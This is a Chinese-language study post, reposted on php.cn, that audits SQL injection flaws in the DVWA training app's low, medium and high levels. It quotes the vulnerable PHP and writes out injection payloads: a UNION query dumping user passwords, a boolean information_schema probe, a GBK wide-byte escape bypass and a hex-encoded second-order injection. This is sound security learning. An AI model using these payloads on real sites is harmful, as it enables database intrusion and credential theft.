Heim  >  Artikel  >  php教程  >  php代码审计学习之dvwa_sql,php审计dvwa_sql

php代码审计学习之dvwa_sql,php审计dvwa_sql

WBOY
WBOYOriginal
2016-06-13 08:52:551279Durchsuche

php代码审计学习之dvwa_sql,php审计dvwa_sql

0x00

  由于转了onenote行列,所以已经好久没有发表新的随笔了,但是想想还是非常有必要的,这几天开始学习php代码审计,所以先开始发这一些的随笔吧!

  首先就先通过十大测试平台dvwa开始学习吧,先在这里带上参考的大牛链接,感谢分享

  1.http://drops.wooyun.org/papers/483

  2.http://www.lxway.com/86980986.htm   is_numeric 函数绕过

  3.http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html  字符编码绕过  宽字节注入

0x01

  这里先带入最简单low级别的php代码

  

<span>  $id</span> = <span>$_GET</span>['id'<span>];//未作任何过滤,防注入处理
    </span><span>$getid</span> = "SELECT first_name, last_name FROM users WHERE user_id = '<span>$id</span>'"<span>;
    </span><span>$result</span> = <span>mysql_query</span>(<span>$getid</span>) or <span>die</span>('<pre class="brush:php;toolbar:false">' . <span>mysql_error</span>() . '
' );

  看到这里我们可以知道这段代码其实id没有进行处理,导致sql注入漏洞,ok,各种注入都可以,在这里就不再详叙了!

0x02

  medium级别,代码:

<span>  $id</span>=<span>$_GET</span>['id'<span>];
  </span><span>$id</span>=<span>mysql_real_escape_string</span>(<span>$id</span><span>);//这里对id进行了转义的操作
  </span><span>$getid</span>="SELECTfirst_name,last_nameFROMusersWHEREuser_id=<span>$id</span>";

  mysql_real_escape_string 函数对id参数进行了转义操作,具体常见的转义包括

  • ' => \'
  • " => \"
  • \ => \\
  • \n => \\n

  这里我想应该有2张方法来绕过这个处理:

  1.数值型注入

    由于这个函数主要针对的是字符型特殊字符的处理,这样我们可以不使用特殊字符来进行注入,即数值注入

  

<span>  构造:1</span> untion <span>select</span> <span>user</span>,password <span>from</span> users

    由此可以获得users表中的账号密码,当然你会说要是是不知道具体表名列名改怎么办?ok,我们可以尝试使用union bool注入

<span>  构造:1</span><span>+</span><span>union</span><span>+</span><span>select</span><span>+</span><span>1</span>,(<span>select</span><span>+</span><span>case</span><span>+</span><span>when</span><span>+</span><span>char</span>(<span>72</span>)<span>=</span>(<span>select</span> mid(table_name,<span>0</span>,<span>1</span>) <span>from</span> information_schema.tables limit <span>0</span>,<span>1</span>)<span>+</span><span>then</span><span>+</span><span>2</span><span>+</span><span>end</span>) 

    其中char()中的数值需要变换以及limit,这样子可能会比较花时间,我们可以写个python脚本(ps:先占个坑),其实用延时注入也同样可以实现这样的效果

  2.宽字节注入

  mysql_real_escape_string  对参数进行转义的方法就是添加一个‘\’,它的url编码就是%5c ,这样我们在参数中添加%df%5c%27 ,其中%df%5c为合法的gbk字符

  那么经过该函数一处理,可以发现会变成%df%5c%5c%27 ,这样子%df%5c会吞掉一个%5c  变成 一个gbk字符+ \\\' 

  mysql的转义符也是'\' 相当于注入了一个单引号

<span>  构造:1</span><span>%</span>df<span>%</span>5c<span>%</span><span>27</span><span>%</span><span>20</span><span>||</span><span>1</span><span>+</span><span>--</span><span>+ </span>

  同样的addslashes函数也存在同样的问题,具体参考文章开始的链接

0x02

  high级别的php代码

<span>$id</span>=<span>$_GET</span>['id'<span>];
</span><span>$id</span>=<span>stripslashes</span>(<span>$id</span><span>);//剔除参数中的斜杠
</span><span>$id</span>=<span>mysql_real_escape_string</span>(<span>$id</span><span>);//对id中的特殊字符进行转义
</span><span>if</span>(<span>is_numeric</span>(<span>$id</span><span>)){//判断是否是数值或数值字符串
    </span>...

  好吧,这样一来,我觉得还是变得很安全了,前面2个函数对字符型的注入进行了处理,紧接着is_numeric函数则对数值型注入进行了处理。

  然而这样子仍然可以造成sql注入,不过是二次注入,且限制的条件也比较苛刻但是仍有机会造成注入

  比如执行sql语句

  

<span>  insert</span> <span>into</span> test(type) <span>values</span>($s);   

 

  此时传入的字符串$s=0x31206f722031  

  这样看可以知道这是一个16进制数,可以通过该函数的检测,然后对16进制解码我们可以发现$s其实实际的值为 1 or 1 

  那么这样操作数据库里会变成什么样子

  

  可以看到数据库将这串16进制数进行了转码变成了1 or 1  那么到时候进行数据库取值然后不经处理带入到另一个sql语句中就会造成二次注入.所以我们在写代码的时候不能盲目的信任数据库里的数据,在取出数据时仍需要进行检测。

0x03

  sql部分的代码就分析到这里,如有不正确的地方,欢迎拍砖!

  下篇准备sql blind :)

 

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn